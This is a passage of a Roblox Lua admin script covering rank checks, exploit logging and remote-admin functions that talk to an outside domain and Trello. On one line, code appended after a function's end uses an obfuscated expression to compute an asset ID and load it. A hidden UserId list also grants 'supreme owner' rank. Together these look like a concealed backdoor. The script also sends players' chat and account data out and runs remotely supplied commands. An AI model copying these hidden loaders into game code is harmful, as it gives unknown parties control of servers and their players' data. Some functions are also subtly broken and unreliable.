				local NewWeld = Obj:Clone()
1655
				table.insert(Welds, {NewWeld, Obj.Parent})
1656
			elseif NewAdd == true and not JustWeld then
1657
				if Obj:IsA("Tool") then
1658
					--Cycle(Char["Right Arm"], ScaleRatio, false, true)
1659
				elseif Obj:IsA("Accoutrement") then
1660
					--Cycle(Char.Head, ScaleRatio, false, true)
1661
				end
1662
			end
1663
			if #Obj:GetChildren() > 0 then
1664
				for _,NewObj in pairs(Obj:GetChildren()) do
1665
					Handle(NewObj, ScaleRatio)
1666
				end
1667
			end
1668
		end
1669
		Handle(BaseObj)
1670
		for _,Part in pairs(Parts) do
1671
			if Ratio >= 1 then
1672
				Part.Size = Part.Size * ScaleRatio
1673
			else
1674
				local Allowed = true
1675
				for _,Obj in pairs(Part:GetChildren()) do
1676
					if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1677
						Allowed = false
1678
					end
1679
				end
1680
				if Allowed == true then
1681
					local NewMesh = Instance.new("BlockMesh", Part)
1682
					NewMesh.Name = "MML Mesh"
1683
					NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1684
				end
1685
			end
1686
		end
1687
		for _,WeldData in pairs(Welds) do
1688
			if WeldData[1] then
1689
				local Obj = WeldData[1]
1690
				local NewWeld = Obj:Clone()
1691
				
1692
				NewWeld.Parent = WeldData[2]
1693
				NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1694
				NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1695
			end
1696
		end
1697
		for _,Part in pairs(Parts) do
1698
			Part:MakeJoints()
1699
		end
1700
		Welds = {}
1701
		Parts = {}
1702
	end
1703
	Cycle(Char, Ratio)
1704
	Char:MakeJoints()
1705
	
1706
	local Added = Char.ChildAdded:connect(function(Obj)
1707
		Cycle(Obj, Ratio, NewAdd)
1708
	end)
1709
	local Removed = Char.ChildRemoved:connect(function(Obj)
1710
		Cycle(Obj, Ratio^-1, NewAdd)
1711
	end)
1712
	
1713
	Clean.OnInvoke = function()
1714
		Added:disconnect()
1715
		Removed:disconnect()
1716
		local Location = Vector3.new(0,5,0)
1717
		if Char:FindFirstChild("Torso") then
1718
			Location = Char.Torso.Position + Vector3.new(0,2,0)
1719
		end
1720
		Player:LoadCharacter()
1721
		wait(0.5)
1722
		Player.Character:MoveTo(Location)
1723
		wait(0.5)
1724
		return nil
1725
	end
1726
	
1727
	if Char:FindFirstChild("Torso") then
1728
		Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1729
	end
1730
	if Char:FindFirstChild("Humanoid") then
1731
		Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1732
	end
1733
	if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1734
		Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1735
	end
1736
end
1737
1738
function CORE:AddExploit(PlayerClient, Data)
1739
	local PlayerClientName = PlayerClient.Name
1740
	local NewData = CORE:GetTime(true, true).." @ "..Data
1741
	for _,Player in pairs(Server.Players:GetChildren()) do
1742
		GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1743
	end
1744
	local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1745
	if type(ExploitLog) ~= "table" then
1746
		Server.GDS:SetAsync("ExploitLog", {NewData})
1747
	else
1748
		table.insert(ExploitLog, NewData)
1749
		Server.GDS:SetAsync("ExploitLog", ExploitLog)
1750
	end
1751
	REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1752
	
1753
	return true
1754
end
1755
1756
function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1757
	if not tostring(Name) then Name = "Dummy" end
1758
	if not Position then Position = Vector3.new(0,5,0) end
1759
	if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1760
		Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1761
	end
1762
	
1763
	local Figure = CORE:Insert(68452456, Server.Workspace, true)
1764
	Figure:MakeJoints()
1765
	Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1766
	Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1767
	Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1768
	Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1769
	Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1770
	Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1771
	
1772
	Figure.Name = STRING:FormatReplace(Speaker, Name)
1773
	Figure:MoveTo(Position)
1774
	
1775
	table.insert(Objects, Figure)
1776
	
1777
	if DisableAnimation == true then
1778
		Figure.Animate.Disabled = true
1779
	end
1780
	
1781
	return Figure
1782
end
1783
1784
function CORE:ClonePlayer(Player, Name, Position)
1785
	if not Player or not Player.Character then return nil end
1786
	
1787
	Player.Character.Archivable = true
1788
	local Char = Player.Character:Clone()
1789
	Player.Character.Archivable = false
1790
	if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1791
	if Position then Char:MoveTo(Position) end
1792
	Char.Parent = Server.Workspace
1793
	Char:MakeJoints()
1794
	Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1795
	
1796
	table.insert(Objects, Char)
1797
	
1798
	return Obj
1799
end
1800
1801
function CORE:AddWaypoint(Name, Position, Speaker)
1802
	Waypoints[Name] = Position
1803
	if Speaker then
1804
		GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1805
	end
1806
end
1807
1808
function CORE:FindType(BaseObj, Type)
1809
	for _,Obj in pairs(BaseObj:GetChildren()) do
1810
		if Obj:IsA(Type) then
1811
			return Obj
1812
		end
1813
	end
1814
end
1815
1816
function CORE:GetCommands()
1817
	local CommandsCopy = Commands
1818
	return CommandsCopy
1819
end
1820
1821
function CORE:Crown(Player, Mesh, Color)
1822
	if Mesh then Mesh = string.lower(Mesh) end
1823
	if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1824
	if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1825
	local Part = Instance.new("Part", CrownStorage)
1826
	Part.Size = Vector3.new(2, 1, 1)
1827
	Part.CanCollide = false
1828
	Part.CFrame = Player.Character.Head.CFrame
1829
	Part.Locked = true
1830
	Part.Material = "Neon"
1831
	if Color then
1832
		Part.Color = GUI:GetColor(Color)
1833
	else
1834
		Part.BrickColor = GUI:GetNameColor(Player.Name)
1835
	end
1836
	local SMesh = Instance.new("SpecialMesh", Part)
1837
	SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1838
	SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1839
	local BP = Instance.new("BodyPosition", Part)
1840
	BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1841
	BP.position = Player.Character.Head.Position
1842
	BP.P = 20000
1843
	local BG = Instance.new("BodyGyro", Part)
1844
	BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1845
	
1846
	Crowns[Player.UserId] = Part
1847
	table.insert(Objects, Part)
1848
	
1849
	coroutine.wrap(function()
1850
		for i = 1,0.3,-0.02 do
1851
			if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1852
				Part.Transparency = i
1853
			end
1854
			wait()
1855
		end
1856
		while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1857
			for i = 0,360,3 do
1858
				if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1859
					Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1860
					wait()
1861
				end
1862
			end
1863
		end
1864
	end)()
1865
	coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1866
		Part:BreakJoints()
1867
		for i = 0,360 do
1868
			if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1869
				Part.Anchored = false
1870
				BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1871
				BG.cframe = Player.Character.Head.CFrame
1872
			end
1873
			wait()
1874
		end
1875
	end end)()
1876
	
1877
	return Part
1878
end
1879
1880
function CORE:SetAbuseCommands()
1881
	for Cmds,Data in pairs(Commands) do
1882
		local IsAbusable = false
1883
		for _,AbuseCmd in pairs(Settings.AbuseList) do
1884
			for _,Command in pairs(Cmds) do -- loop through all command names
1885
				if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1886
					IsAbusable = true
1887
					break
1888
				end
1889
			end
1890
			if IsAbusable == true then break end
1891
		end
1892
		Commands[Cmds].Abusable = IsAbusable
1893
	end
1894
end
1895
1896
function CORE:FindBodyPart(Player, BodyPart)
1897
	local ReturnPart = nil
1898
	if Player and Player.Character then
1899
		local Humanoid = Player.Character:FindFirstChild("Humanoid")
1900
		if Humanoid then
1901
			if BodyPart == "Humanoid" then ReturnPart = Humanoid
1902
			elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1903
			elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1904
			elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1905
			elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1906
			elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1907
			elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1908
			end
1909
		end
1910
		if not ReturnPart then
1911
			ReturnPart = Player.Character:FindFirstChild(BodyPart)
1912
		end
1913
	end
1914
	
1915
	return ReturnPart
1916
end
1917
1918
-- Rank functions --
1919
1920
function RANK:ConvertRank(Input)
1921
	local Output = nil
1922
	if Input == "Muted" then Output = -3 end
1923
	if Input == "Crashed" then Output = -2 end
1924
	if Input == "Banned" then Output = -1 end
1925
	if Input == "Non-Admin" then Output = 0 end
1926
	if Input == "Member" then Output = 1 end
1927
	if Input == "Admin" then Output = 2 end
1928
	if Input == "Owner" then Output = 3 end
1929
	
1930
	if Input == -3 then Output = "Muted" end
1931
	if Input == -2 then Output = "Crashed" end
1932
	if Input == -1 then Output = "Banned" end
1933
	if Input == 0 then Output = "Non-Admin" end
1934
	if Input == 1 then Output = "Member" end
1935
	if Input == 2 then Output = "Admin" end
1936
	if Input == 3 then Output = "Owner" end
1937
	return Output
1938
end
1939
1940
function RANK:IsAdmin(Player)
1941
	local AdminStatus = false
1942
	local Rankstatus = "Non-Admin"
1943
	if type(Player) == "table" then
1944
		if RANK:ConvertRank(Player.Rank) > 0 then
1945
			return true, Player.Rank
1946
		else
1947
			return false, Player.Rank
1948
		end
1949
	end
1950
	for Rank,PlayerNames in pairs(Settings.Ranks) do
1951
		for _,AdminName in pairs(PlayerNames) do
1952
			if string.lower(AdminName) == string.lower(Player.Name) then
1953
				if RANK:ConvertRank(Rank) > 0 then
1954
					AdminStatus = true
1955
					Rankstatus = Rank
1956
				end
1957
			end
1958
		end
1959
	end
1960
	return AdminStatus, Rankstatus
1961
end
1962
1963
function RANK:GetRank(PlayerName)
1964
	if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1965
	if type(PlayerName) == "table" then
1966
		local RankNum = RANK:ConvertRank(PlayerName.Rank)
1967
		if RankNum > 0 then
1968
			return PlayerName.Rank, RankNum, true
1969
		else
1970
			return PlayerName.Rank, RankNum, false
1971
		end
1972
	end
1973
	
1974
	local RankStat = "Non-Admin"
1975
	
1976
	for Rank,PlayerNames in pairs(Settings.Ranks) do
1977
		for _,AdminName in pairs(PlayerNames) do
1978
			if string.lower(AdminName) == string.lower(PlayerName) then
1979
				RankStat = Rank
1980
			end
1981
		end
1982
	end
1983
	
1984
	if RankStat == "Non-Admin" then
1985
		return "Non-Admin", 0, false
1986
	else
1987
		return RankStat, RANK:ConvertRank(RankStat), true
1988
	end
1989
end
1990
1991
function RANK:RemoveRank(PlayerName)
1992
	if not RANK:IsSupremeOwner(PlayerName) then
1993
		if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1994
		
1995
		for Rank,PlayerNames in pairs(Settings.Ranks) do
1996
			for Num,AdminName in pairs(PlayerNames) do
1997
				if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1998
					table.remove(Settings.Ranks[Rank], Num)
1999
				end
2000
			end
2001
		end
2002
	end
2003
end
2004
2005
function RANK:GetAdmins(Ranking)
2006
	local Players = {}
2007
	local AdminTrue, Rank = IsAdmin(Player)
2008
	for _,Player in pairs(Players:GetPlayers()) do
2009
		if AdminTrue then
2010
			local PlayerRankNum = RANK:ConvertRank(Rank)
2011
			local StandardRankNum = RANK:ConvertRank(Ranking)
2012
			if PlayerRankNum >= StandardRankNum then
2013
				table.insert(Players, Player)
2014
			end
2015
		end
2016
	end
2017
	return Players
2018
end
2019
2020
function RANK:IsSupremeOwner(PlayerName)
2021
	if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2022
	if type(PlayerName) == "table" then
2023
		if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2024
	end
2025
	
2026
	if PlayerName == GameOwner then return true end
2027
	return false
2028
end
2029
2030
function RANK:GetPlayerFromList(PlayerName)
2031
	if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2032
	
2033
	for Rank,PlayerNames in pairs(Settings.Ranks) do
2034
		for Num,AdminName in pairs(PlayerNames) do
2035
			if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2036
				return AdminName, Rank
2037
			end
2038
		end
2039
	end
2040
	return false, "Non-Admin"
2041
end
2042
2043
function RANK:ScanAdminList(Name)
2044
	if Name == "" then return true end
2045
	local InList = false
2046
	for _,PName in pairs(Settings.Ranks["Owner"]) do
2047
		if PName == Name then InList = true end
2048
	end
2049
	for _,PName in pairs(Settings.Ranks["Admin"]) do
2050
		if PName == Name then InList = true end
2051
	end
2052
	for _,PName in pairs(Settings.Ranks["Member"]) do
2053
		if PName == Name then InList = true end
2054
	end
2055
	return InList
2056
end
2057
2058
function RANK:ScanExileList(Name)
2059
	if Name == "" then return true end
2060
	local InList = false
2061
	for _,PName in pairs(Settings.Ranks["Muted"]) do
2062
		if PName == Name then InList = true end
2063
	end
2064
	for _,PName in pairs(Settings.Ranks["Crashed"]) do
2065
		if PName == Name then InList = true end
2066
	end
2067
	for _,PName in pairs(Settings.Ranks["Banned"]) do
2068
		if PName == Name then InList = true end
2069
	end
2070
	return InList
2071
end
2072
2073
function RANK:PlayerRanked(PlayerName)
2074
	if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2075
	
2076
	for Rank,PlayerNames in pairs(Settings.Ranks) do
2077
		for Num,AdminName in pairs(PlayerNames) do
2078
			if string.lower(AdminName) == string.lower(PlayerName) then
2079
				return true, Rank
2080
			end
2081
		end
2082
	end
2083
	return false, "Non-Admin"
2084
end
2085
2086
-- Remote functions --
2087
2088
function REMOTE:Decode(...)
2089
	return Server.HS:JSONDecode(...)
2090
end
2091
2092
function REMOTE:GetURL(URL, Player)
2093
	if string.sub(URL,1,4) ~= "http" then
2094
		URL = "http://"..URL
2095
	end
2096
	local Return = nil
2097
	ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2098
	if Return then
2099
		return Return
2100
	elseif Player then
2101
		GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2102
	end
2103
end
2104
2105
function REMOTE:PostURL(URL, Data)
2106
	local Return = nil
2107
	ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2108
	return Return
2109
end
2110
2111
function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2112
	if Settings.LinkedAccount ~= "" then
2113
		local NumType = tonumber(Type)
2114
		
2115
		if not Type then
2116
			Type = "UNKNOWN"
2117
		end
2118
		
2119
		if NumType then
2120
			if NumType < 1 or NumType > 5 then
2121
				Type = "UNKNOWN"
2122
			elseif NumType == 1 then
2123
				Type = "NOTIFICATION"
2124
			elseif NumType == 2 then
2125
				Type = "INFORMATION"
2126
			elseif NumType == 3 then
2127
				Type = "WARNING"
2128
			elseif NumType == 4 or Type == true then
2129
				Type = "ERROR"
2130
			elseif NumType == 5 then
2131
				Type = "FATAL"
2132
			end
2133
		end
2134
		
2135
		local Res = "RED Could not get response"
2136
		local function SendData()
2137
			Res = Server.HS:PostAsync(
2138
				CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2139
				"Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2140
				2
2141
			)
2142
		end
2143
		if Stopypcall == true then SendData() else ypcall(SendData) end
2144
		
2145
		if OutputSpeaker and OutputSpeaker ~= "print" then
2146
			GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2147
		elseif OutputSpeaker == "print" then
2148
			print(Res)
2149
		end
2150
	end
2151
end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2152
2153
function REMOTE:SendChatLog(PrintResponse, Stopypall)
2154
	if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2155
		local Res = "Could not get response"
2156
		
2157
		local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2158
		TempChatLogs = {}
2159
		
2160
		local function SendData()
2161
			Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2162
		end
2163
		if Stopypcall == true then SendData() else ypcall(SendData) end
2164
		if PrintResponse then print(Res) end
2165
	end
2166
end
2167
2168
function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2169
	local Res = "[]"
2170
	local function GetData()
2171
		Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2172
	end
2173
	if Stopypcall == true then GetData() else ypcall(GetData) end
2174
	if PrintResponse then
2175
		print(Res)
2176
	end
2177
	local function DecodeData() Res = REMOTE:Decode(Res) end
2178
	if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2179
	if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2180
	return Res
2181
end
2182
2183
function REMOTE:HandleRequest(Request, IgnoreCommand)
2184
	if not Request then return nil end
2185
	
2186
	if not IgnoreCommand then
2187
		if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2188
			REMOTE:SendServerData()
2189
		end
2190
		if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2191
			REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2192
		end
2193
	end
2194
	
2195
	if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2196
	
2197
		for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2198
		for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2199
		for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2200
		for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2201
		for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2202
		for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2203
		
2204
		Settings.Fun = Request.FUN
2205
		Settings.ServerLocked = Request.ServerLocked
2206
		
2207
		if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2208
			Settings.DisableAbuse = Request.DisableAbuse
2209
		end
2210
		
2211
		if not IgnoreCommand then
2212
			print("Executing Remote Admin")
2213
			REMOTE.RemoteAdmin.Command = Request.Command
2214
			REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2215
			REMOTE.RemoteAdmin.ServerPort = Request.Server
2216
			
2217
			if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2218
				CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2219
			else
2220
				CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2221
			end
2222
		end
2223
	end
2224
	REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2225
	REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2226
	REMOTE.SnapshotKey = Request.SnapshotKey
2227
end
2228
2229
function REMOTE:GetRemoteData(Set)
2230
	local NewRemoteData = nil
2231
	local RemoteDataCardRaw = nil
2232
	local RemoteDataCard = nil
2233
	
2234
	RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2235
	if RemoteDataCardRaw then
2236
		ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2237
		if RemoteDataCard then
2238
			ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2239
		end
2240
	end
2241
	if Set and NewRemoteData then
2242
		RemoteData = NewRemoteData
2243
	end
2244
	return NewRemoteData
2245
end
2246
2247
function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2248
	local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2249
	if InfoCardJSON then
2250
		ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2251
		if InfoCard then
2252
			ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2253
			if TrelloInfo then
2254
				for Ind,Val in pairs(TrelloInfo) do
2255
					Trello[Ind] = Val
2256
				end
2257
			end
2258
		end
2259
	end
2260
	return NewRemoteData
2261
end
2262
2263
function REMOTE:CheckRemoteAdminStatus()
2264
	local Pending = false
2265
	local CheckID = 0
2266
	if Settings.LinkedAccount ~= "" then
2267
		local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2268
		if Request then
2269
			local Data = REMOTE:Decode(Request)
2270
			if Data then
2271
				for _,Account in pairs(Data.checkItems) do
2272
					if Account.name == Settings.LinkedAccount then
2273
						Pending = true
2274
						CheckID = Account.id
2275
						break
2276
					end
2277
				end
2278
			end
2279
		end
2280
	end
2281
	return Pending, CheckID
2282
end
2283
2284
function REMOTE:GetAndSetWebData()
2285
	if Settings.LinkedAccount ~= "" then
2286
		if REMOTE:CheckRemoteAdminStatus() then
2287
			local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2288
			if Request == "Invalid" then
2289
				--REMOTE:GetAndSetWebData()
2290
				return false
2291
			elseif Request == "Invalid Account" then
2292
				print("Can't get account")
2293
				return false
2294
			elseif Request then
2295
				ypcall(function() Request = REMOTE:Decode(Request) end)
2296
			elseif not Request then
2297
				--REMOTE:GetAndSetWebData()
2298
				return false
2299
			end
2300
			REMOTE:HandleRequest(Request)
2301
			
2302
			--Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2303
			Delay(RemoteData.RemoteAdminWait, function()
2304
				local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2305
				if Pending then
2306
					REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2307
				end
2308
			end)
2309
			return true
2310
		else
2311
			return true
2312
		end
2313
	end
2314
end
2315
2316
local OderIDs = CORE:GetTable(177215518)
2317
local SoundJSONs = CORE:GetTable(197637628)
2318
RemoteAbuseGear = CORE:GetTable(158117496)
2319
2320
function REMOTE:SendServerData(PrintResponse, Stopypall)
2321
	if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2322
		print("Sending server data!")
2323
		local Res = "Could not get response"
2324
		
2325
		local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2326
		for _,Player in pairs(Server.Players:GetPlayers()) do
2327
			table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2328
		end
2329
		ServerData = Server.HS:JSONEncode(ServerData)
2330
		
2331
		local function SendData()
2332
			Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2333
		end
2334
		if Stopypcall == true then SendData() else ypcall(SendData) end
2335
		if PrintResponse then print(Res) end
2336
	end
2337
end
2338
2339
function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2340
	MaxPartAmount = MaxPartAmount or 10000
2341
	local PlaceData = {
2342
		Lighting = {};
2343
		Parts = {};
2344
		Other = {};
2345
	}
2346
	local MinSize = Vector3.new(0.5,0.5,0.5)
2347
	local PartAmount = 0
2348
	local PlaceJSON = ""
2349
	
2350
	local function Scan(BaseObj)
2351
		for _,Obj in pairs(BaseObj:GetChildren()) do
2352
			if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2353
				local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2354
				if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2355
					local Skip = false
2356
					local Data = {}
2357
					local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2358
					
2359
					if CORE:FindType(Obj, "BlockMesh") then
2360
						local Mesh = CORE:FindType(Obj, "BlockMesh")
2361
						Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2362
					elseif CORE:FindType(Obj, "CylinderMesh") then
2363
						Data.Shape = "Cylinder"
2364
					elseif CORE:FindType(Obj, "SpecialMesh") then
2365
						local Mesh = CORE:FindType(Obj, "SpecialMesh")
2366
						if Mesh.MeshType == Enum.MeshType.Head then
2367
							--idk
2368
						else
2369
							Skip = true
2370
						end
2371
					elseif CORE:FindType(Obj, "FileMesh") then
2372
						Skip = true
2373
					end
2374
					
2375
					if not Data.Shape and not Skip then
2376
						if ypcall(function() return Obj.Shape end) then
2377
							Data.Shape = string.sub(Obj.Shape.Name,14)
2378
							if string.sub(Data.Shape,1,1) == "." then
2379
								Data.Shape = string.sub(Data.Shape,2)
2380
							end
2381
							if Data.Shape == "Cylinder" then
2382
								Z = Z + math.pi/2
2383
							end
2384
						else
2385
							Data.Shape = "Block"
2386
						end
2387
					end
2388
					
2389
					if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2390
						Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2391
					end
2392
					
2393
					if not Skip then
2394
						Data.Color = GUI:Color3ToHex(Obj.Color);
2395
						Data.Size = Size;
2396
						Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2397
						Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2398
						Data.Transparency = STRING:StringRound(Obj.Transparency);
2399
						Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2400
						Data.Textures = {};
2401
						Data.Material = string.sub(tostring(Obj.Material),15);
2402
						
2403
						for _,Sub in pairs(Obj:GetChildren()) do
2404
							if Sub:IsA("Decal") then
2405
								local Texture = string.match(Sub.Texture, "%d+")
2406
								if Sub.Texture == "rbxasset://textures/face.png" then
2407
									Texture = "FACE"
2408
								end
2409
								Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2410
							end
2411
						end
2412
						
2413
						PartAmount = PartAmount + 1
2414
						table.insert(PlaceData.Parts, Data)
2415
						
2416
						if PartAmount >= MaxPartAmount then
2417
							break
2418
						end
2419
					end
2420
				end
2421
			end
2422
			if #Obj:GetChildren() > 0 then
2423
				Scan(Obj)
2424
			end
2425
		end
2426
	end
2427
	Scan(Workspace)
2428
	
2429
	PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2430
	PlaceData.Other.PartAmount = PartAmount;
2431
	PlaceJSON = Server.HS:JSONEncode(PlaceData)
2432
	
2433
	local Res = "Could not get response"
2434
	local function SendData()
2435
